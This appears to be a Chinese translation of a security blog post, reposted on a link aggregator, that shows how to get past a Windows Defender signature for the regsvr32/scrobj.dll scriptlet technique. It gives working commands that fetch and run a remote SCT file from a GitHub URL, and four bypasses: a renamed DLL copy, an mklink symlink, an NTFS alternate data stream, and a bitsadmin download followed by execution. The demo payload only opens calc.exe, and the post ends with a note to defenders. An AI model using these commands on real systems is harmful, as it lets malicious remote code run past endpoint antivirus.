1

Window Denfender Bypass

 2 years ago
source link: https://wh0ale.github.io/2019/10/27/Window-Denfender-Bypass/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Window Denfender Bypass

发表于

2019-10-27

更新于 2019-12-20

阅读次数: 340 本文字数: 4.2k 阅读时长 ≈ 4 分钟

Regsvr32是一个命令行实用程序,用于注册和取消注册OLE控件,例如Windows注册表中的DLL和ActiveX控件。Regsvr32.exe安装在Windows XP及更高版本的Windows的%systemroot%\ System32文件夹中。

RegSvr32.exe具有以下命令行选项:

语法:Regsvr32 [/ s] [/ u] [/ n] [/ i [:cmdline]] dllname

/ u - 取消注册server
/ i - 调用DllInstall传递一个可选的[cmdline]; 当它与/ u一起使用时,它调用dll uninstall
/ n - 不要调用DllRegisterServer; 此选项必须与/ i
/ s一起使用 - 无声; 不显示消息框

在regsrv32.exe的帮助下,您将在远程计算机上执行scrobj.dll文件,来获取并运行SCT脚本文件的'恶意'操作。您将在本地计算机(Kali Linux)上获得反向连接。

regsvr32 /s /u /i:http://example/file.sct scrobj.dll

返回Access is denied

img

另外,如果检查Windows Defender的保护历史记录,则应该找到与您运行此命令相关的条目。在我的系统上,它看起来像这样:

img

我们可以完全确信是Windows Defender阻止了此操作的运行,这意味着它具有签名。那么我们如何找出触发签名的原因呢?我的方法涉及通过删除部分命令来手动测试。

regsvr32 /i:http://example/file.sct scrobj.dll  /u /s scrobj.dll

img

尝试在http添加^或者"

regsvr32 /s /u /i:h^t^tp://example/file.sct scrobj.dll
regsvr32 /s /u /i:h"t"tp://example/file.sct scrobj.dll

同样返回Access is denied

img

我们尝试通过删除.sct并将其替换为其他内容来弄清楚到底是什么被阻止,以查看会发生什么。

regsvr32 /s /u /i:http://example/file.txt scrobj.dll

同样返回Access is denied

img

尝试一一删除不同的参数该怎么办。让我们从/s/u开始,看看是否有区别。

regsvr32 /u /i:http://example/file.txt scrobj.dll
regsvr32 /i:http://example/file.txt scrobj.dll

同样返回Access is denied

img

让我们也尝试删除://,以查看Windows Defender是否在其上触发。

img

同样返回Access is denied

我们通过将http更改为其他内容,然后再将scrobj.dll更改为notscrobj.dll

regsvr32 /i:ftp scrobj.dll
regsvr32 /i:http notscrobj.dll

成功执行

img

现在,我们可以通过将regsvr32.exe复制 到其他文件中并尝试相同的方法来尝试使用旧技巧。在接下来的例子中。我将example.com URL和URL(https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct)交换为一个sct文件,如果执行该文件会生成calc.exe。

copy c:\Windows\System32\regsvr32.exe WillThisWork.exe
WillThisWork.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct scrobj.dllcopy c:\Windows\System32\regsvr32.exe WillThisWork.exe

img

现在我们可以肯定,文件名(willthiswork.exe)无关紧要- 触发Windows Defender的是httpscrobj.dll的组合。

现在我们知道了签名的详细信息,让我们看看是否可以绕过签名并获得执行。

bypass one

尝试将scrobj.dll复制到另一个名称,然后再尝试执行并查看是否可以这种方式绕过它。因为我们知道签名正在寻找httpscrobj.dll,所以我们可以尝试通过使用不同名称进行复制来更改它。

copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll

img

可行。所以这是一个简单的绕过。让我们尝试其他方法。

bypass two

在Windows中,可以创建称为符号链接的内容。但是,这要求用户是本地管理员,或者在Windows 10的较新版本中,如果打开了开发人员模式,则标准用户可以使用此权限。在Windows中,您可以使用称为Mklink.exe的二进制文件来创建符号链接。它基本上所做的是创建指向另一个文件的指针。

Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll

img

现在,我们有一个链接到scrobj.dll的文件。现在让我们尝试使用此dll执行regsvr32攻击。

Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll

img

bypass three

在NTFS中,文件上有不同的流,默认情况下,我们查看称为$ DATA的特定流。可以向文件中添加其他流并向其中添加内容。我过去在一些博客文章中对此进行了演示:

https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

对于NTFS ADS的另一个很好的参考是此博客文章由Microsoft:

https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/

好的,让我们看看是否可以使用ADS绕过此签名。让我们尝试将scrobj.dll添加到一个空文件中,然后从该流中执行。首先,我们将数据添加到新的空文件中。

type c:\Windows\System32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere

需要提供dir /R来查看流和大小。接下来,我们可以尝试从该流执行。开始。

img

绿色命令将scrobj.dll添加到名为PlacingTheDLLHere的流中的名为Just_A_Normal_TextFile.txt的新文件中。橙色的命令只是向您显示文件本身为空,并且如红色的命令所示,您需要提供/R来查看流和大小。接下来,我们可以尝试从该流执行。

Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere

img

bypass four

尝试中尝试将SCT文件放到磁盘上,以查看它是否可以那样工作,因为命令中不能包含http。

img

Regsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll

进行此攻击的另一种方法是利用Bitsadmin.exe 为您下载文件,然后使用regsvr32像下面这样执行:

bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll

img

在此博客文章中,我向您展示了我的方法来找出签名被阻止时的原因以及可以尝试解决的问题。如果您的检测签名与此处的签名相似,那么也许您应该考虑将其更改为以其他方式进行检测。另外,我非常有信心可以探索其他绕过此特定签名的方法,但我将其保留

本文为翻译文章,来自:https://www.trustedsec.com/blog/discovering-the-anti-virus-signature-and-bypassing-it/

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK